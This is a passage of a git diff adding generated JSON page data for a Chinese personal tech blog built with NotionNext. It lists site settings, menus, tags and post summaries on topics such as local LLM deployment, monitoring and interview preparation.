fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"git"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/go.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/go.json new file mode 100644 index 000000000..04ddfc892 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/go.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on 